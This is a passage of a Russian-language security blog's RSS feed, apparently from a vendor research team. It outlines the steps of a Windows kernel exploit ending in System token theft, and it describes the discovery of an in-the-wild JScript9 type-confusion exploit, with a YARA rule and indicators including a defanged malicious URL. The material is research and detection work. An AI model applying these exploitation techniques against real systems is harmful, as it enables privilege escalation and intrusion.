Наш эксплойт утилизирует <a href="https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html" rel="noopener" target="_blank">WNF-</a> и <a href="https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html" rel="noopener" target="_blank">ALPC-</a> подсистемы для получения примитивов на запись и чтение, конкретно структуры <code>_WNF_STATE_DATA и _ALPC_HANDLE_ENTRY</code>.<br />
<br />
💡 <strong>Немного деталей о том, как наш эксплойт работает:</strong><br />
<br />
1️⃣ Создает множества чанков, <strong>размером 4096 байт</strong>, через <code>NtCreateWnfStateName</code> и <code>NtAlpcCreateResourceReserve</code>. Таким образом последовательно в памяти размещается <code>_WNF_STATE_DATA и _ALPC_HANDLE_ENTRY</code>.<br />
<br />
2️⃣ Создает множества дыр в последовательности созданной на шаге 1, через <code>NtDeleteWnfStateData</code>.<br />
<br />
3️⃣ Триггерит уязвимость, таким образом <strong>bitmap</strong> размещается в одной из заранее подготовлены дыр. Размер <strong>bitmap</strong> задается равный <strong>4096 + 16</strong>, чтобы перезаписать размер данных (<code>_WNF_STATE_DATA.DataSize</code>), на которые указывает <code>_WNF_STATE_DATA.Data</code>.<br />
<br />
4️⃣ Перезаписывает через <code>NtUpdateWnfStateData</code> указатели в <code>_ALPC_HANDLE_ENTRY</code>.<br />
<br />
5️⃣ Осуществляет через <code>NtAlpcSendWaitReceivePort</code> запись и чтение по произвольному адресу.<br />
<br />
6️⃣ Крадет Token у процесса System (<strong>Token Stealing</strong>).<br />
<br />
Конечно же, мы не могли не протестировать наши собственные продукты. И они нас не разочаровали: например, PT Sandbox обнаруживает эксплуатацию данной уязвимости.<br />
<br />
<strong>Вердикты:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">
Exploit.Win32.Generic.d,
Exploit.Win32.Generic.a,
Rootkit.Win32.Generic.a
</code></span></pre><br />
<br />
<span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#news</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Как мы нашли ITW-эксплойт для CVE-2024-38178</title>
		<link>/how-we-found-the-itw-exploit-for-cve-2024-38178/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 21 Aug 2024 10:03:44 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[itw]]></category>
		<category><![CDATA[jscript9]]></category>
		<category><![CDATA[reverse]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%ba%d0%b0%d0%ba-%d0%bc%d1%8b-%d0%bd%d0%b0%d1%88%d0%bb%d0%b8-itw-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b9%d1%82-%d0%b4%d0%bb%d1%8f-cve-2024-38178/</guid>

					<description><![CDATA[🔦 Как мы нашли ITW-эксплойт для CVE-2024-38178 В рамках ежемесячного просмотра свежезапатченных уязвимостей мы в команде ESC-VR обращаем пристальное внимание на уязвимости, помеченные как эксплуатируемые в дикой природе. Такие уязвимости становятся нашей…]]></description>
										<content:encoded><![CDATA[<p>🔦  <strong>Как мы нашли ITW-эксплойт для CVE-2024-38178</strong></p>
<p>В рамках ежемесячного просмотра свежезапатченных уязвимостей мы в команде ESC-VR обращаем пристальное внимание на уязвимости, помеченные как эксплуатируемые в дикой природе. Такие уязвимости становятся нашей главной целью, особенно если отсутствует какая бы то ни было информация о публичных эксплойтах. </p>
<p>Уязвимость <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38178" rel="noopener" target="_blank">CVE-2024-38178</a><strong> </strong>— это повреждение памяти типа <strong>Type Confusion</strong> (<em>CWE-843</em>). Говоря по-простому: ситуация, когда область памяти, занимаемая объектом типа A, интерпретируется кодом как объект типа B.</p>
<p>Проанализировав патч, мы обнаружили, что изменения сделаны в функции, отвечающей за оптимизацию работы с массивами, в частности в функции <code>GlobOpt::OptArraySrc</code>. После исправления добавилась обработка ситуации, когда оптимизатор не замечает, что иногда тип переменной может изменяться в <code>runtime</code>.</p>
<p>Если вы следите за деятельностью <code>Google ProjectZero</code> так же активно, как и мы, то вы уже обо всем догадались 😉</p>
<p>Функция <code>GlobOpt::OptArraySrc</code> уже фигурировала в <strong>ITW-эксплойте</strong>, а именно в <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41128.html" rel="noopener" target="_blank">посте</a>, описывающем <strong>CVE-2022-41128</strong>. </p>
<p>В посте есть <code>PoC</code>, который демонстрирует эксплуатацию <strong>CVE-2022–41128</strong>. Взяв из него ключевые строки, мы провели поиск в публичных и приватных источниках по файлам, загруженным недавно, используя следующие подстроки:</p>
<p><strong>•</strong> <code>6E6577204F626A656374287B0D0A20 </code><br />
<strong>•</strong> <code>206E657720496E7433324172726179</code></p>
<p><strong>Мы нашли всего один файл</strong>. Он был загружен из <code>KR</code>, и эксплойт, вероятно, использовался в атаках в этой стране, о чем косвенно свидетельствует информация из <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38178" rel="noopener" target="_blank">бюллетени</a> Microsoft. </p>
<p>Прогнав файл в системах с патчем и без него, мы быстро поняли, что это именно то, что мы искали. В связи с большой схожестью с <strong>CVE-2022-41128</strong> мы считаем, что и эта уязвимость была найдена через фаззинг, который проводился с использованием <code>PoC</code> для <strong>CVE-2022-41128</strong> и <strong>CVE-2021-34480</strong>.</p>
<p>Эксплойт создает ситуацию, когда <strong>JIT-компилятор</strong> убежден, что переменная <strong>X</strong> имеет тип <code>js::TypedArray&lt;int,0&gt;</code>, но на самом деле <strong>X</strong> содержит значение <strong>Y</strong> типа <code>js::DynamicObj</code>. Далее эксплойт использует доступ по индексу 4, 11, 12, чтобы модифицировать внутренние поля массива <code>js::JavaScriptNativeArray</code>, находящегося в одном из свойств значения <strong>Y</strong>. Модифицируемые поля хранят размер массива. </p>
<p>В результате эксплойт дает возможность для доступа за пределы этого массива для того, чтобы получить примитивы на относительную запись и чтение. Дальнейшее описание заняло бы неприлично много места в рамках поста, поэтому stay tunned и happy hunting 🙂</p>
<p><strong>YARA-правило (на файл):</strong></p>

<pre class="wp-block-code"><span><code class="hljs language-plaintext">
rule exploit_CVE_2024_38178 {
      strings:
          $a = { 6E6577204F626A656374287B0D0A20 }
          $b = { 206E657720496E7433324172726179 } 
     condition:
           all of them
}
</code></span></pre>

<p><strong>IoCs:</strong></p>

<pre class="wp-block-code"><span><code class="hljs language-yaml">
<span class="hljs-attr">SHA256:</span> <span class="hljs-string">736092B71A9686FDE43D3C4ABD941A6774721B90B17D946C9D05AF19C84DF0A4</span>
</code></span></pre>

<pre class="wp-block-code"><span><code class="hljs language-yaml">
<span class="hljs-string">http://img&#91;.]mobonad&#91;.]com/images/20230912/43</span>
</code></span></pre>

<p><span class="hashtag">#escvr</span> <span class="hashtag">#itw</span> <span class="hashtag">#jscript9</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
